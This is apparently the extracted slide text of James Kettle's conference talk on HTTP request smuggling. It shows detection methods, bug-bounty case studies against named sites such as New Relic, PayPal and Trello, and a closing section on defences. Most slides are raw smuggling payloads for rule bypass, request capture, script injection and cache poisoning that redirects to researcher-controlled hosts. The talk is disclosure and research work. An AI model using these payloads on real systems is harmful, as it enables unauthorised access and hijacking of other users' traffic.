HTTP DESYNC ATTACKS
SMASHING INTO THE CELL NEXT DOOR
James Kettle
The Fear Theory
Q) What topic am I really scared of?
A) HTTP Request Smuggling
Hiding Wookiees in HTTP
First documented by Watchfire in 2005
"You will not earn bounties"
"You will certainly not be considered like a white hat"
Outline
• Theory & Methodology
• Exploitation Case Studies
• Defence
• Q&A
HTTP/1.1 keep-alive
HTTP over TLS/TCP
HTTP/1.1 keep-alive, desynchronized
Desynchronizing: the classic approach
POST / HTTP/1.1
Host: example.com
Front-end sees this Content-Length: 6
Content-Length: 5 Back-end sees this
12345GPOST / HTTP/1.1
Host: example.com
… Unknown method GPOST
Desynchronizing: the chunked approach
POST / HTTP/1.1
Host: example.com
Front-end sees this Content-Length: 6
Transfer-Encoding: chunked Back-end sees this
0
GPOST / HTTP/1.1
… Unknown method GPOST
Desynchronizing: the TE.CL approach
POST / HTTP/1.1
Host: example.com
Content-Length: 3 Back-end sees this
Front-end sees this Transfer-Encoding: chunked
6\r\n
PREFIX
0
POST / HTTP/1.1
Host: example.com
Forcing desync
If a message is received with both a Transfer-Encoding header field and a Content-
Length header field, the latter MUST be ignored. – RFC 2616 #4.4.3
Transfer-Encoding: chunked Transfer-Encoding: chunked
Content-Length: 123 Transfer-Encoding: x
Transfer-Encoding : chunked
Transfer-Encoding: xchunked Transfer-Encoding:[tab]chunked
GET / HTTP/1.1
Transfer-Encoding: chunked
Transfer-Encoding X: X[\n]Transfer-Encoding: chunked
: chunked
Methodology
Detecting desync
POST /about HTTP/1.1 POST /about HTTP/1.1
Host: example.com Host: example.com
Transfer-Encoding: chunked Transfer-Encoding: chunked
Content-Length: 6 Content-Length: 6
3 0
abc
X
Q
CL.CL: backend response CL.CL: backend response
TE.TE: frontend response TE.TE: backend response
TE.CL: frontend response TE.CL: timeout
CL.TE: timeout CL.TE: socket poison
Confirming desync
POST /search HTTP/1.1 POST /search HTTP/1.1
Content-Length: 51 Content-Length: 4
Transfer-Encoding: zchunked Transfer-Encoding: zchunked
11 96
=x&q=smuggling&x= GET /404 HTTP/1.1
0 X: X=1&q=smugging&x=
Host: example.com
GET /404 HTTP/1.1 Content-Length: 100
X: XPOST /search HTTP/1.1
Host: example.com x=
… 0
POST /search HTTP/1.1
Triggers 404 if vulnerable Host: example.com
CASE STUDIES
Bypassing rules
POST / HTTP/1.1
Host: software-vendor.com
Content-Length: 200
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: software-vendor.com
X: X GET / HTTP/1.1 HTTP/1.1 200 OK
Host: software-vendor.com
Please log in
Bypassing rewrites
POST / HTTP/1.1
Host: security-vendor.com
X-Forwarded-For: 127.0.0.1
Content-Length: 200
Transfer-Encoding : chunked
0
GET / HTTP/1.1
Host: security-vendor.com
X-Forwarded-For: 127.0.0.1
xyz.burpcollaborator.net
X: X GET…
$300
Request reflection
Please ensure that your email and
POST / HTTP/1.1
password are correct.
Host: login.newrelic.com <input id="email" value="asdfPOST
Content-Length: 142 /login HTTP/1.1
Transfer-Encoding: chunked Host: login.newrelic.com
Transfer-Encoding: x X-Forwarded-For: 81.139.39.150
X-Forwarded-Proto: https
0 X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128…
POST /login HTTP/1.1 x-nr-external-service: external
Host: login.newrelic.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
…
login[pass]=1234&login[email]=asdf POST /login HTTP/1.1
Host: login.newrelic.com
Exploring
GET / HTTP/1.1 HTTP/1.1 301 Moved Permanently
Host: staging-alerts.newrelic.com Location: https://staging-alerts.newrelic.com/
GET / HTTP/1.1 HTTP/1.1 404 Not Found
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https Action Controller: Exception caught
GET /revision_check HTTP/1.1 HTTP/1.1 200 OK
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https Not authorized with header:
GET /revision_check HTTP/1.1 HTTP/1.1 403 Forbidden
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https Forbidden
X-nr-external-service: 1
Exploring
POST /login HTTP/1.1 HTTP/1.1 200 OK
Host: login.newrelic.com
Content-Length: 564 {
Transfer-Encoding: chunked "user": {
Transfer-encoding: cow "account_id": 934454,
"is_newrelic_admin": true
0 },
"current_account_id": 934454
POST /internal_api/934454/session HTTP/1.1 …
Host: alerts.newrelic.com }
X-Forwarded-Proto: https
Service-Gateway-Account-Id: 934454
Service-Gateway-Is-Newrelic-Admin: true
Content-Length: 6
…
x=123GET… +$3,000
=$3,300
Involuntary request storage
POST /1/cards HTTP/1.1
Host: trello.com
Transfer-Encoding:[tab]chunked
Content-Length: 4
9f
PUT /1/members/1234 HTTP/1.1
Host: trello.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
x=x&csrf=1234&username=testzzz&bio=cake
0
GET / HTTP/1.1 +$1,800
Host: trello.com +$2,500
=$7,600
Harmful responses
POST / HTTP/1.1 HTTP/1.1 200 OK
Host: saas-app.com …
Content-Length: 4 <input name="SAML"
Transfer-Encoding : chunked value="a"><script>alert(1)
10 </script>
=x&csrf=token&x=
66 0
POST /index.php HTTP/1.1
Host: saas-app.com POST / HTTP/1.1
Content-Length: 100 Host: saas-app.com
Cookie: …
SAML=a"><script>alert(1)</script> "/>
0 POST / HTTP/1.1
Host: saas-app.com
+$2,000
Cookie: …
=$9,600
Accidental Cache Poisoning
POST / HTTP/1.1 Frontend perspective
Host: redacted.com
Content-Length: 45
Transfer-Encoding: chunked GET /images/x.png HTTP/1.1
0 HTTP/1.1 301 Moved Permanently
POST / HTTP/1.1 Location: https://52.16.21.24/
Host: 52.16.21.24
X: X GET /images/x.png HTTP/1.1
Web Cache Deception++
POST / HTTP/1.1 Front-end perspective
Transfer-Encoding: blah
GET /static/site.js HTTP/1.1
0
HTTP/1.1 200 OK
GET /user/apikey HTTP/1.1
X: X GET /static/site.js HTTP/1.1
Your API key
Cookie: sessionid=xyz …
Expected habitat:
Sensitive responses with fixed, uncached extensions
Sensitive POST responses
CDN Chaining
POST /cow.jpg HTTP/1.1
Host: redacted.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: www.redhat.com
X: X GET…
Red Hat - We make open source technologies for the enterprise
Chaining DOM Problems
Runs on unknown Host: www.redhat.com
URL in victim's
browser <script>
var destination = getQueryParam('redir')
[low quality filtering]
document.location = destination
</script>
POST /en/search?dest=../assets/idx?redir=… HTTP/1.1
Solution: chain a Host: www.redhat.com
server-side local
redirect HTTP/1.1 301 Found
Location: /assets/idx?redir=//redhat.co…
Redirects with teeth
POST /etc/libs/xyz.js HTTP/1.1
Host: redacted.com
Content-Length: 57
Transfer-Encoding: chunked
0
POST /etc HTTP/1.1
Host: burpcollaborator.net +$550
X: X GET /etc/libs/xyz.js HTTP/1.1 +$750
… +$1,000
+$2,000
HTTP/1.1 301 Moved Permanently +$5,000
Location: https://burpcollaborator.net/etc/ +$10,500
=$27,400
Web Cache Poisoning
POST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1
Host: c.paypal.com
Content-Length: 61
Transfer-Encoding: chunked
0
GET /webstatic HTTP/1.1
Host: skeletonscribe.net?
X: X GET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1
Host: c.paypal.com
Connection: close
HTTP/1.1 302 Found
Location: http://skeletonscribe.net ?, c.paypal.com/webstatic/
PayPal Poisoning
+$18,900
=$46,300
Wrapped exploits
GET / HTTP/1.1 HTTP/1.1 403 Forbidden
Host: c.paypal.com Server: AkamaiGHost
Content-Length: 5
Transfer-Encoding: chunked <HTML><HEAD>
<TITLE>Access Denied</TITLE>
0 </HEAD>
GET / HTTP/1.1
Host: c.paypal.com HTTP/1.1 200 OK
Content-Length: 5 …
Transfer-Encoding:
chunked
0 +$20,000
=$66,300
DEMO
-bugzilla-
+$4,500
=$70,800
Defence
Attack Tooling
• Support manual/invalid content-length
• Don't normalize requests
• Test environment must match prod
Safety
• Frontend: Normalize ambiguous requests – RFC 7230
• Frontend: Use HTTP/2 to talk to backend
• Backend: Drop request & connection
Further reading
Whitepaper
https://portswigger.net/blog/http-desync-attacks
Online labs
https://portswigger.net/web-security/request-smuggling
Burp Suite Extension
https://github.com/portswigger/http-request-smuggler
References
http://cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
DEF CON 24 – regilero - Hiding Wookiees in HTTP
Takeaways
• HTTP Request Smuggling is real
• HTTP/1.1 parsing is security critical
• Detection doesn't have to be dangerous
@albinowax
Email: [email protected]